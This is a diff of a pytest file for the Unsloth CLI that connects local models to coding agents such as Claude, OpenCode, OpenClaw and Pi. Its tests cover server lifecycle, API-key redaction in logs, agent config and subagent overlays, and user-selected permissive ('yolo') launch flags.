+        timeout = 30,
+        error = None,
+    ):
+        assert url.endswith("/api/inference/status"), url
+        return {"is_gguf": True, "gguf_variant": "Q4_K_M"}
+
+    monkeypatch.setattr(start, "_loaded_models", lambda base, key: models)
+    monkeypatch.setattr(start, "_http_json", http_json)
+    monkeypatch.setattr(
+        start,
+        "_load_model_with_progress",
+        lambda base, key, model, load, payload: {"status": "loaded", "model": "owner/model-GGUF"},
+    )
+
+    start._resolve_model(BASE, "key", "owner/model-GGUF", start.LoadOptions(gguf_variant = "Q8_0"))
+
+    out = capsys.readouterr().out
+    assert (
+        "Switching the Unsloth server from owner/model-GGUF:Q4_K_M to owner/model-GGUF:Q8_0." in out
+    )
+    assert "every attached session" in out
+
+
+def test_resolve_model_same_quant_prints_no_switch_warning(monkeypatch, capsys):
+    models = [{"id": "owner/model-GGUF", "loaded": True}]
+
+    monkeypatch.setattr(start, "_loaded_models", lambda base, key: models)
+    monkeypatch.setattr(
+        start,
+        "_http_json",
+        lambda *a, **k: {"is_gguf": True, "gguf_variant": "Q8_0"},
+    )
+    monkeypatch.setattr(
+        start,
+        "_load_model_with_progress",
+        lambda base, key, model, load, payload: {
+            "status": "already_loaded",
+            "model": "owner/model-GGUF",
+        },
+    )
+
+    start._resolve_model(BASE, "key", "owner/model-GGUF", start.LoadOptions(gguf_variant = "Q8_0"))
+
+    out = capsys.readouterr().out
+    assert "Switching" not in out
+    assert "Reusing loaded model: owner/model-GGUF:Q8_0" in out
+
+
+def test_auto_serves_when_no_server_then_keeps_server(fake_studio, monkeypatch):
     monkeypatch.setattr(start, "find_studio_server", lambda: None)
     started = {}
     fake = SimpleNamespace(pid = 999, poll = lambda: None)
 
-    def fake_start(base, model, load):
+    def fake_start(
+        base,
+        model,
+        load,
+        server_options = None,
+    ):
         started.update(base = base, model = model, load = load)
         start._auto_served_server = fake
         return fake
@@ -1164,8 +2458,134 @@ def test_auto_serves_when_no_server_then_tears_down(fake_studio, monkeypatch):
     assert started["model"] == "unsloth/Qwen3-1.7B-GGUF"
     assert started["load"].gguf_variant == "UD-Q4_K_XL"
     assert started["base"] == BASE
-    # Torn down after the agent session ended.
-    assert started.get("down") is fake
+    # A successful agent exit releases ownership and leaves the server available
+    # for another terminal. Explicit startup failures still use the cleanup path.
+    assert "down" not in started
+    assert start._auto_served_server is None
+    assert "is still running" in result.output
+    assert "unsloth studio stop" in result.output
+
+
+def test_auto_served_agent_launch_failure_stops_server(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    stopped = []
+    fake = SimpleNamespace(pid = 999, poll = lambda: None)
+
+    def fake_start(*_args):
+        start._auto_served_server = fake
+        return fake
+
+    monkeypatch.setattr(start, "_start_studio_server", fake_start)
+    monkeypatch.setattr(start, "_shutdown_server", stopped.append)
+    monkeypatch.setattr(
+        start,
+        "_launch",
+        lambda *a, **k: (_ for _ in ()).throw(RuntimeError("agent launch failed")),
+    )
+
+    result = CliRunner().invoke(
+        start.start_app,
+        ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF"],
+    )
+
+    assert result.exit_code == 1
+    assert stopped == [fake]
+    assert "is still running" not in result.output
+
+
+def test_auto_served_server_exit_is_not_reported_as_running(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    fake = SimpleNamespace(pid = 999, poll = lambda: 1)
+
+    def fake_start(*_args):
+        start._auto_served_server = fake
+        return fake
+
+    monkeypatch.setattr(start, "_start_studio_server", fake_start)
+    monkeypatch.setattr(start, "_launch", lambda *a, **k: 0)
+
+    result = CliRunner().invoke(
+        start.start_app,
+        ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF"],
+    )
+
+    assert result.exit_code == 0, result.output
+    assert "stopped during the session" in result.output
+    assert "is still running" not in result.output
+
+
+def test_attached_server_prints_stop_hint_after_agent_exits(fake_studio, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start, "_claude_flags", lambda *a, **k: [])
+    monkeypatch.setattr(
+        start.subprocess,
+        "run",
+        lambda command, env: SimpleNamespace(returncode = 0),
+    )
+
+    result = CliRunner().invoke(start.start_app, ["claude"])
+
+    assert result.exit_code == 0, result.output
+    assert f"Unsloth ready at {BASE} · model {MODEL['id']}\n" in result.output
+    assert f"Unsloth Studio is still running at {BASE}." in result.output
+    assert "Stop it with: unsloth studio stop\n" in result.output
+
+
+def test_no_launch_recipe_does_not_print_stop_hint(fake_studio):
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert "is still running" not in result.output
+
+
+def test_nonzero_agent_exit_notes_code_before_stop_hint(fake_studio, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start, "_claude_flags", lambda *a, **k: [])
+    monkeypatch.setattr(
+        start.subprocess,
+        "run",
+        lambda command, env: SimpleNamespace(returncode = 3),
+    )
+
+    result = CliRunner().invoke(start.start_app, ["claude"])
+
+    assert result.exit_code == 3
+    assert "The agent exited with code 3." in result.output
+    assert f"Unsloth Studio is still running at {BASE}." in result.output
+
+
+def test_redacted_log_tail_strips_minted_keys(tmp_path):
+    log = tmp_path / "server.log"
+    log.write_text(
+        "booting\nUNSLOTH_START_API_KEY: sk-unsloth-feedfacefeedface\nerror: load failed\n",
+        encoding = "utf-8",
+    )
+
+    tail = start._redacted_log_tail(log)
+
+    assert "sk-unsloth-feedfacefeedface" not in tail
+    assert "sk-unsloth-[redacted]" in tail
+    assert "error: load failed" in tail
+
+
+def test_startup_failure_output_redacts_minted_key(monkeypatch, tmp_path, capsys):
+    monkeypatch.setattr(start.tempfile, "gettempdir", lambda: str(tmp_path))
+    fake = SimpleNamespace(pid = 4242, poll = lambda: 1)
+
+    def fake_popen(command, **kwargs):
+        # The child prints the early key marker, then dies before it is ready.
+        kwargs["stdout"].write(b"UNSLOTH_START_API_KEY: sk-unsloth-secretsecret\nload failed\n")
+        kwargs["stdout"].flush()
+        return fake
+
+    monkeypatch.setattr(start.subprocess, "Popen", fake_popen)
+
+    with pytest.raises(start.typer.Exit):
+        start._start_studio_server(BASE, "owner/model-GGUF", start.LoadOptions())
+
+    err = capsys.readouterr().err
+    assert "stopped before it was ready" in err
+    assert "sk-unsloth-secretsecret" not in err
+    assert "sk-unsloth-[redacted]" in err
 
 
 def test_codex_preflight_failure_tears_down_auto_served(fake_studio, monkeypatch):
@@ -1176,7 +2596,12 @@ def test_codex_preflight_failure_tears_down_auto_served(fake_studio, monkeypatch
     started = {}
     fake = SimpleNamespace(pid = 999, poll = lambda: None)
 
-    def fake_start(base, model, load):
+    def fake_start(
+        base,
+        model,
+        load,
+        server_options = None,
+    ):
         started.update(base = base, model = model)
         start._auto_served_server = fake
         return fake
@@ -1219,7 +2644,7 @@ def test_no_serve_preserves_error(fake_studio, monkeypatch):
         start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF", "--no-serve"]
     )
     assert result.exit_code == 1
-    assert "No running Studio server" in result.output
+    assert "No running Unsloth server" in result.output
     assert started["called"] is False
 
 
@@ -1233,7 +2658,7 @@ def test_no_launch_never_serves(fake_studio, monkeypatch):
         start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF", "--no-launch"]
     )
     assert result.exit_code == 1
-    assert "No running Studio server" in result.output
+    assert "No running Unsloth server" in result.output
     assert started["called"] is False
 
 
@@ -1271,7 +2696,12 @@ def test_auto_serve_normalizes_portless_url(fake_studio, monkeypatch):
     started = {}
     fake = SimpleNamespace(pid = 999, poll = lambda: None)
 
-    def fake_start(base, model, load):
+    def fake_start(
+        base,
+        model,
+        load,
+        server_options = None,
+    ):
         started["base"] = base
         start._auto_served_server = fake
         return fake
@@ -1312,12 +2742,50 @@ def test_write_openclaw_config_fresh(tmp_path):
     ]
     # The default model must be pinned or OpenClaw has nothing active.
     assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
+    assert config["agents"]["defaults"]["workspace"] == str(tmp_path / "workspace")
+    assert (tmp_path / "workspace").is_dir()
     assert config["gateway"]["mode"] == "local"
     assert config["gateway"]["auth"]["mode"] == "none"  # unauth loopback gateway
     if os.name != "nt":  # the file holds an API key
         assert path.stat().st_mode & 0o777 == 0o600
 
 
+def test_write_openclaw_config_clears_per_agent_path_overrides(tmp_path):
+    path = tmp_path / "openclaw.json"
+    path.write_text(
+        json.dumps(
+            {
+                "agents": {
+                    "defaults": {"workspace": "/old/default"},
+                    "list": [
+                        {
+                            "id": "main",
+                            "default": True,
+                            "workspace": "/old/main-workspace",
+                            "agentDir": "/old/main-agent",
+                            "model": "keep/me",
+                        },
+                        {
+                            "id": "reviewer",
+                            "workspace": "/old/reviewer-workspace",
+                            "agentDir": "/old/reviewer-agent",
+                        },
+                    ],
+                }
+            }
+        )
+    )
+
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path)
+
+    agents = json.loads(path.read_text())["agents"]
+    assert agents["defaults"]["workspace"] == str(tmp_path / "workspace")
+    assert agents["list"] == [
+        {"id": "main", "default": True, "model": "keep/me"},
+        {"id": "reviewer"},
+    ]
+
+
 def test_write_openclaw_config_preserves_and_idempotent(tmp_path):
     path = tmp_path / "openclaw.json"
     path.write_text(
@@ -1361,10 +2829,55 @@ def test_connect_openclaw_no_launch(fake_studio, tmp_path):
     config = json.loads(config_path.read_text())
     assert config["models"]["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface"
     assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
+    assert config["agents"]["defaults"]["workspace"] == str(
+        tmp_path / "agents" / "openclaw" / "workspace"
+    )
+    assert _launch_command(result.output) == ["openclaw", "tui", "--local"]
     # OpenAI /v1/chat/completions works on either backend — no GGUF gate.
     assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
 
 
+@pytest.mark.skipif(os.name == "nt", reason = "WSL scenario")
+def test_connect_openclaw_wsl_windows_shim_translates_workspace(fake_studio, tmp_path, monkeypatch):
+    windows_workspace = r"\\wsl.localhost\Ubuntu\tmp\openclaw\workspace"
+    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
+    monkeypatch.setattr(
+        start.shutil, "which", lambda _: "/mnt/c/Users/x/AppData/Roaming/npm/openclaw"
+    )
+    monkeypatch.setattr(start.subprocess, "check_output", lambda *args, **kwargs: windows_workspace)
+
+    result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"])
+
+    assert result.exit_code == 0, result.output
+    config_path = tmp_path / "agents" / "openclaw" / "openclaw.json"
+    config = json.loads(config_path.read_text())
+    assert config["agents"]["defaults"]["workspace"] == windows_workspace
+    assert (config_path.parent / "workspace").is_dir()
+
+
+def test_connect_openclaw_no_launch_keeps_explicit_subcommand(fake_studio):
+    result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch", "crestodian"])
+    assert result.exit_code == 0, result.output
+    assert _launch_command(result.output) == ["openclaw", "crestodian"]
+
+
+def test_connect_openclaw_no_launch_passes_global_flags_through(fake_studio):
+    # OpenClaw globals (openclaw [--dev] [--profile <name>] <command>) precede the
+    # command, and tui does not accept them, so any passthrough args must be forwarded
+    # verbatim rather than rewritten into `openclaw tui --local <globals>`.
+    result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch", "--profile", "test"])
+    assert result.exit_code == 0, result.output
+    assert _launch_command(result.output) == ["openclaw", "--profile", "test"]
+
+
+def test_connect_openclaw_no_launch_keeps_explicit_tui(fake_studio):
+    result = CliRunner().invoke(
+        start.start_app, ["openclaw", "--no-launch", "tui", "--message", "hi"]
+    )
+    assert result.exit_code == 0, result.output
+    assert _launch_command(result.output) == ["openclaw", "tui", "--message", "hi"]
+
+
 # ── OpenCode (OpenAI /v1/chat/completions) ───────────────────────────
 
 
@@ -1372,14 +2885,16 @@ def test_write_opencode_config_fresh(tmp_path):
     path = tmp_path / "opencode.json"
     start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
     config = json.loads(path.read_text())
-    provider = config["provider"]["unsloth"]
+    provider = config["provider"][start._OPENCODE_PROVIDER]
     assert provider["npm"] == "@ai-sdk/openai-compatible"
     assert provider["options"] == {"baseURL": f"{BASE}/v1", "apiKey": "sk-unsloth-abc"}
     # Context limit must be declared, or OpenCode treats it as 0 and disables compaction.
     assert provider["models"] == {
         MODEL["id"]: {"name": MODEL["id"], "limit": {"context": 131072, "output": 8192}}
     }
-    assert config["model"] == f"unsloth/{MODEL['id']}"
+    assert config["model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+    # Provider filters belong to the launch-time inline overlay, not this config writer.
+    assert "disabled_providers" not in config
     # Compaction buffer scaled to ~10% of the window (compact near 90%).
     assert config["compaction"] == {"auto": True, "reserved": 131072 // 10}
 
@@ -1387,18 +2902,201 @@ def test_write_opencode_config_fresh(tmp_path):
 def test_write_opencode_config_preserves_and_idempotent(tmp_path):
     path = tmp_path / "opencode.json"
     path.write_text(
-        json.dumps({"theme": "tokyonight", "provider": {"anthropic": {"name": "Anthropic"}}})
+        json.dumps(
+            {
+                "theme": "tokyonight",
+                "disabled_providers": ["ollama", "unsloth"],
+                "provider": {"anthropic": {"name": "Anthropic"}},
+            }
+        )
     )
     start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
     config = json.loads(path.read_text())
     assert config["theme"] == "tokyonight"
+    # The overlay no longer edits disabled_providers; re-enabling unsloth is done in
+    # the inline layer, so an existing list here is preserved untouched.
+    assert config["disabled_providers"] == ["ollama", "unsloth"]
     assert config["provider"]["anthropic"]["name"] == "Anthropic"
-    assert config["provider"]["unsloth"]["options"]["baseURL"] == f"{BASE}/v1"
+    assert config["provider"][start._OPENCODE_PROVIDER]["options"]["baseURL"] == f"{BASE}/v1"
     before = path.read_text()
     start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
     assert path.read_text() == before
 
 
+def test_write_opencode_config_keeps_foreign_disabled_providers(tmp_path):
+    # A user who disabled other providers (but not unsloth) must keep them disabled:
+    # the overlay must not rewrite disabled_providers, or those providers get silently
+    # re-enabled for the session.
+    path = tmp_path / "opencode.json"
+    path.write_text(json.dumps({"disabled_providers": ["openai", "gemini"]}))
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    assert config["disabled_providers"] == ["openai", "gemini"]
+
+
+def test_write_opencode_config_as_subagent_preserves_parent_model(tmp_path):
+    path = tmp_path / "opencode.json"
+    path.write_text(
+        json.dumps(
+            {
+                "model": "anthropic/claude-sonnet-4-5",
+                "small_model": "anthropic/claude-haiku-4-5",
+                "compaction": {"auto": False},
+            }
+        )
+    )
+    local = {**MODEL, "id": MODEL["id"] + ":UD-Q4_K_XL"}
+    start.write_opencode_config(
+        BASE,
+        "sk-unsloth-abc",
+        local,
+        path,
+        as_subagent = True,
+    )
+    config = json.loads(path.read_text())
+    assert config["model"] == "anthropic/claude-sonnet-4-5"
+    assert config["small_model"] == "anthropic/claude-haiku-4-5"
+    assert config["compaction"] == {"auto": False}
+    agent = config["agent"]["unsloth"]
+    assert agent["mode"] == "subagent"
+    assert agent["model"] == f"{start._OPENCODE_PROVIDER}/{local['id']}"
+    assert "local agent" in agent["description"].lower()
+    assert local["id"] in config["provider"][start._OPENCODE_PROVIDER]["models"]
+
+
+def test_opencode_subagent_inline_keeps_parent_provider_filters(monkeypatch, tmp_path):
+    config_path = tmp_path / "opencode.json"
+    inherited = {"theme": "tokyonight"}
+    monkeypatch.setenv("OPENCODE_CONFIG_CONTENT", json.dumps(inherited))
+    monkeypatch.setattr(start, "_which_with_install_dirs", lambda _: "/usr/bin/opencode")
+    captured = {}
+
+    def run(command, **kwargs):
+        captured["command"] = command
+        captured.update(kwargs)
+        return SimpleNamespace(
+            returncode = 0,
+            stdout = json.dumps(
+                {
+                    "enabled_providers": ["opencode-go"],
+                    "disabled_providers": ["ollama", start._OPENCODE_PROVIDER],
+                    "subagent_depth": 0,
+                }
+            ),
+            stderr = "",
+        )
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    permission = {"edit": "allow"}
+    inline = start._opencode_subagent_inline_config(config_path, permission)
+
+    assert captured["command"] == ["/usr/bin/opencode", "debug", "config"]
+    assert captured["env"]["OPENCODE_CONFIG"] == str(config_path)
+    assert inline == {
+        "theme": "tokyonight",
+        "enabled_providers": ["opencode-go", start._OPENCODE_PROVIDER],
+        "disabled_providers": ["ollama"],
+        "subagent_depth": 1,
+        "permission": permission,
+    }
+
+
+def test_opencode_subagent_inline_preserves_positive_depth(monkeypatch, tmp_path):
+    monkeypatch.setattr(start, "_which_with_install_dirs", lambda _: "/usr/bin/opencode")
+    monkeypatch.setattr(
+        start.subprocess,
+        "run",
+        lambda *args, **kwargs: SimpleNamespace(
+            returncode = 0,
+            stdout = json.dumps({"subagent_depth": 3}),
+            stderr = "",
+        ),
+    )
+
+    inline = start._opencode_subagent_inline_config(tmp_path / "opencode.json", {})
+
+    assert inline["subagent_depth"] == 3
+
+
+def test_opencode_subagent_inline_merges_inherited_filters_without_binary(monkeypatch, tmp_path):
+    monkeypatch.setenv(
+        "OPENCODE_CONFIG_CONTENT",
+        json.dumps(
+            {
+                "enabled_providers": ["opencode-go"],
+                "disabled_providers": ["ollama", start._OPENCODE_PROVIDER],
+            }
+        ),
+    )
+    monkeypatch.setattr(start, "_which_with_install_dirs", lambda _: None)
+
+    inline = start._opencode_subagent_inline_config(tmp_path / "opencode.json", {})
+
+    assert inline["enabled_providers"] == ["opencode-go", start._OPENCODE_PROVIDER]
+    assert inline["disabled_providers"] == ["ollama"]
+    assert inline["subagent_depth"] == 1
+
+
+def _opencode_inline_config(output: str) -> dict:
+    # --no-launch prints OPENCODE_CONFIG_CONTENT as a POSIX `export NAME=<shell-quoted>`
+    # line on Unix/WSL and a PowerShell `$env:NAME = "<escaped>"` line on native Windows;
+    # parse whichever the host emitted so the opencode tests are shell-agnostic.
+    name = "OPENCODE_CONFIG_CONTENT"
+    for raw in output.splitlines():
+        line = raw.strip()
+        if line.startswith(f"export {name}="):
+            return json.loads(shlex.split(line.removeprefix(f"export {name}="))[0])
+        prefix = f'$env:{name} = "'
+        if line.startswith(prefix) and line.endswith('"'):
+            escaped = line[len(prefix) : -1]
+            # Reverse _print_env's PowerShell escaping (backtick is the escape char).
+            value = escaped.replace("`$", "$").replace('`"', '"').replace("``", "`")
+            return json.loads(value)
+    raise AssertionError(f"{name} not found in:\n{output}")
+
+
+def test_opencode_inline_scopes_session_to_studio_provider(fake_studio):
+    # opencode filters even config-defined providers through enabled/disabled_providers,
+    # and a model pin does not bypass that gate. The inline overlay (session-only, highest
+    # layer, arrays replace) allowlists our provider and clears the denylist so the Unsloth
+    # model always loads regardless of the user's config, without reading or editing it.
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    inline = _opencode_inline_config(result.output)
+    assert inline["enabled_providers"] == [start._OPENCODE_PROVIDER]
+    assert inline["disabled_providers"] == []
+    assert inline["model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+    # small_model stays on the enabled provider too, so lightweight tasks do not resolve a
+    # filtered provider mid-session.
+    assert inline["small_model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+
+
+def test_opencode_passthrough_flags_omit_model_flag(fake_studio):
+    # Any passthrough (top-level flags that may precede a subcommand, or a subcommand)
+    # is left untouched; --model is not injected. The model is pinned by the inline
+    # OPENCODE_CONFIG_CONTENT (highest layer) instead, so it is still forced.
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch", "--dir", "repo"])
+    assert result.exit_code == 0, result.output
+    command = _launch_command(result.output)
+    assert command == ["opencode", "--dir", "repo"]
+    assert "--model" not in command
+    assert (
+        _opencode_inline_config(result.output)["model"]
+        == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+    )
+
+
+def test_opencode_passthrough_subcommand_omits_model_flag(fake_studio):
+    # A passthrough subcommand (e.g. `serve`) takes the model from the pinned config;
+    # inserting --model before it would break opencode's arg parsing.
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch", "serve"])
+    assert result.exit_code == 0, result.output
+    command = _launch_command(result.output)
+    assert command[0] == "opencode"
+    assert command[1] == "serve"
+    assert "--model" not in command
+
+
 def test_connect_opencode_no_launch(fake_studio, tmp_path):
     result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
     assert result.exit_code == 0, result.output
@@ -1406,12 +3104,151 @@ def test_connect_opencode_no_launch(fake_studio, tmp_path):
     config_path = tmp_path / "agents" / "opencode" / "opencode.json"
     # OPENCODE_CONFIG overlay points at the session file, not the user's global config.
     _assert_env_set(result.output, "OPENCODE_CONFIG", str(config_path))
+    inline_config = _opencode_inline_config(result.output)
     config = json.loads(config_path.read_text())
-    assert config["provider"]["unsloth"]["options"]["apiKey"] == "sk-unsloth-feedfacefeedface"
-    assert config["model"] == f"unsloth/{MODEL['id']}"
+    provider = config["provider"][start._OPENCODE_PROVIDER]
+    assert provider["options"]["apiKey"] == "sk-unsloth-feedfacefeedface"
+    assert config["model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+    # The session config file (a throwaway overlay, not the user's real config) does not
+    # carry provider filters; the session scoping rides in the inline env layer only.
+    assert "disabled_providers" not in config
+    assert "enabled_providers" not in config
+    assert inline_config == {
+        "model": f"{start._OPENCODE_PROVIDER}/{MODEL['id']}",
+        "small_model": f"{start._OPENCODE_PROVIDER}/{MODEL['id']}",
+        "enabled_providers": [start._OPENCODE_PROVIDER],
+        "disabled_providers": [],
+    }
+    # --no-launch prints an append-safe base command (no --model before a subcommand a
+    # driver may append); the model is forced by the inline pin above.
+    assert _launch_command(result.output) == ["opencode"]
     assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
 
 
+def test_connect_opencode_as_subagent_preserves_cloud_parent(fake_studio, tmp_path, monkeypatch):
+    monkeypatch.setattr(start, "_opencode_subagent_inline_config", lambda path, permission: {})
+    result = CliRunner().invoke(
+        start.start_app,
+        [
+            "opencode",
+            "--as-subagent",
+            "--no-launch",
+            "--model",
+            MODEL["id"] + ":UD-Q4_K_XL",
+        ],
+    )
+    assert result.exit_code == 0, result.output
+    assert _launch_command(result.output) == ["opencode"]
+    expected_model = f"{start._OPENCODE_PROVIDER}/{MODEL['id']}:UD-Q4_K_XL"
+    # The agent rides in the inline overlay; nothing else comes from the empty base.
+    assert _opencode_inline_config(result.output) == {
+        "agent": {
+            "unsloth": {
+                "description": start._SUBAGENT_DESCRIPTION,
+                "mode": "subagent",
+                "model": expected_model,
+                "prompt": start._SUBAGENT_INSTRUCTIONS,
+            }
+        }
+    }
+    path = tmp_path / "agents" / "opencode-subagent" / "opencode.json"
+    config = json.loads(path.read_text())
+    assert "model" not in config
+    assert "small_model" not in config
+    assert "compaction" not in config
+    agent = config["agent"]["unsloth"]
+    assert agent["model"] == expected_model
+    assert "Unsloth is available as @unsloth and in /models." in result.output
+
+
+def test_claude_subagent_allowed_tools_precede_forwarded_delimiter(fake_studio):
+    # A forwarded `--` makes everything after it positional; the tool pre-approval
+    # must be parsed as an option, so it rides before ctx.args.
+    result = CliRunner().invoke(
+        start.start_app,
+        ["claude", "--as-subagent", "--no-launch", "--", "--resume", "abc123"],
+    )
+    assert result.exit_code == 0, result.output
+    command = _launch_command(result.output)
+    assert command.index("--allowedTools") < command.index("--resume")
+
+
+def test_opencode_subagent_installs_binary_before_filter_inspection(fake_studio, monkeypatch):
+    # The effective-config inspection needs the opencode binary; a first launch must
+    # offer the install before building the overlay, or a global allowlist read only
+    # after _launch installs OpenCode would filter out the new provider.
+    installed = {}
+    monkeypatch.setattr(
+        start,
+        "_which_with_install_dirs",
+        lambda name: "/usr/local/bin/opencode" if installed.get("done") else None,
+    )
+
+    def install(name, hint):
+        installed["done"] = True
+        installed["name"] = name
+        return "/usr/local/bin/opencode"
+
+    monkeypatch.setattr(start, "_install_agent", install)
+    inspected = {}
+
+    def inline(path, permission):
+        inspected["binary"] = start._which_with_install_dirs("opencode")
+        return {}
+
+    monkeypatch.setattr(start, "_opencode_subagent_inline_config", inline)
+    monkeypatch.setattr(start, "_run", lambda *a, **k: None)
+
+    result = CliRunner().invoke(start.start_app, ["opencode", "--as-subagent"])
+
+    assert result.exit_code == 0, result.output
+    assert installed["name"] == "opencode"
+    assert inspected["binary"] == "/usr/local/bin/opencode"
+
+
+def test_opencode_subagent_pins_agent_in_inline_overlay(fake_studio, monkeypatch):
+    # A project opencode.json outranks the session file, so the agent must ride in
+    # OPENCODE_CONFIG_CONTENT where a repo's own agent.unsloth cannot field-merge over it.
+    monkeypatch.setattr(start, "_opencode_subagent_inline_config", lambda path, permission: {})
+    result = CliRunner().invoke(
+        start.start_app,
+        ["opencode", "--as-subagent", "--no-launch", "--model", MODEL["id"] + ":UD-Q4_K_XL"],
+    )
+    assert result.exit_code == 0, result.output
+    agent = _opencode_inline_config(result.output)["agent"]["unsloth"]
+    assert agent["mode"] == "subagent"
+    assert agent["model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}:UD-Q4_K_XL"
+    assert agent["prompt"] == start._SUBAGENT_INSTRUCTIONS
+    assert agent["description"] == start._SUBAGENT_DESCRIPTION
+
+
+def test_connect_opencode_subagent_yolo_no_launch_stays_append_safe(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "_opencode_supports_native_auto", lambda: True)
+    captured = {}
+
+    def inline(path, permission):
+        captured["permission"] = permission
+        return {"permission": permission}
+
+    monkeypatch.setattr(start, "_opencode_subagent_inline_config", inline)
+    result = CliRunner().invoke(
+        start.start_app,
+        ["opencode", "--as-subagent", "--no-launch", "--yolo"],
+    )
+
+    assert result.exit_code == 0, result.output
+    assert _launch_command(result.output) == ["opencode"]
+    assert "--auto" not in result.output
+    assert captured["permission"] == {
+        "edit": "allow",
+        "bash": "allow",
+        "webfetch": "allow",
+        "task": "allow",
+        "external_directory": {"*": "allow"},
+    }
+    assert _opencode_inline_config(result.output)["permission"] == captured["permission"]
+
+
 # ── Hermes (OpenAI /v1/chat/completions, key via env) ────────────────
 
 
@@ -1554,6 +3391,39 @@ def test_connect_pi_no_launch(fake_studio, tmp_path):
     assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
 
 
+def test_connect_pi_as_subagent_preserves_cloud_parent(fake_studio, tmp_path):
+    result = CliRunner().invoke(
+        start.start_app,
+        [
+            "pi",
+            "--as-subagent",
+            "--no-launch",
+            "--model",
+            MODEL["id"] + ":UD-Q4_K_XL",
+        ],
+    )
+    assert result.exit_code == 0, result.output
+    command = _launch_command(result.output)
+    assert command[:2] == ["pi", "--extension"]
+    assert command[2].endswith("unsloth_cli/pi_subagent.ts")
+    assert "--provider" not in command
+    assert "--model" not in command
+    assert "PI_CODING_AGENT_DIR" not in result.output
+    assert "export HOME=" not in result.output
+    assert "UNSLOTH_PI_SUBAGENT_API_KEY" not in result.output
+    assert "sk-unsloth-feedfacefeedface" not in result.output
+    config_path = tmp_path / "agents" / "pi-subagent" / "subagent.json"
+    _assert_env_set(result.output, "UNSLOTH_PI_SUBAGENT_CONFIG", str(config_path))
+    assert json.loads(config_path.read_text()) == {
+        "baseUrl": f"{BASE}/v1",
+        "apiKey": "sk-unsloth-feedfacefeedface",
+        "model": MODEL["id"] + ":UD-Q4_K_XL",
+        "contextWindow": 4096,
+        "maxTokens": 1024,
+    }
+    assert "Ask Pi to spawn an Unsloth or local agent." in result.output
+
+
 def test_connect_pi_no_launch_windows_relocates_userprofile(fake_studio, tmp_path, monkeypatch):
     # On native Windows Node resolves ~/.pi via USERPROFILE, not HOME, so the session
     # must point USERPROFILE at the relocated home or Pi reads the user's real ~/.pi.
@@ -1613,8 +3483,9 @@ def test_powershell_quote_single_quotes_json():
     # keeps the embedded double quotes literal (list2cmdline's backslashes would not).
     assert start._powershell_quote("--settings") == "--settings"
     assert start._powershell_quote("unsloth/gemma-4-26B") == "unsloth/gemma-4-26B"
-    quoted = start._powershell_quote(start._CLAUDE_SETTINGS_OVERLAY)
-    assert quoted == "'" + start._CLAUDE_SETTINGS_OVERLAY + "'"
+    overlay = start._claude_settings_overlay("unsloth/gemma-4-26B")
+    quoted = start._powershell_quote(overlay)
+    assert quoted == "'" + overlay + "'"
     assert "\\" not in quoted  # no cmd.exe backslash escaping
     assert start._powershell_quote("a'b") == "'a''b'"  # embedded quote doubled
 
@@ -1664,21 +3535,226 @@ def test_yolo_aliases_are_interchangeable(fake_studio, alias):
     assert "--dangerously-bypass-approvals-and-sandbox" in codex.output
     assert "--dangerously-skip-permissions" not in codex.output
 
+    opencode = CliRunner().invoke(
+        start.start_app,
+        ["opencode", alias, "--no-launch", "run", "hello"],
+    )
+    assert opencode.exit_code == 0, opencode.output
+    assert _launch_command(opencode.output) == ["opencode", "run", "hello", "--auto"]
+    assert "permission" not in _opencode_inline_config(opencode.output)
 
-def test_yolo_opencode_writes_permission_block(fake_studio, tmp_path):
+
+def test_yolo_opencode_bare_no_launch_uses_permission_fallback(fake_studio, tmp_path):
+    # A bare --no-launch recipe stays append-safe (callers add a subcommand later);
+    # `opencode --auto run ...` would select the TUI, not `run`, so keep the config fallback.
     result = CliRunner().invoke(start.start_app, ["opencode", "--yolo", "--no-launch"])
     assert result.exit_code == 0, result.output
     config = json.loads((tmp_path / "agents" / "opencode" / "opencode.json").read_text())
-    assert config["permission"] == {"edit": "allow", "bash": "allow", "webfetch": "allow"}
+    assert config["permission"] == {
+        "edit": "allow",
+        "bash": "allow",
+        "webfetch": "allow",
+        "external_directory": {"*": "allow"},
+    }
+
+
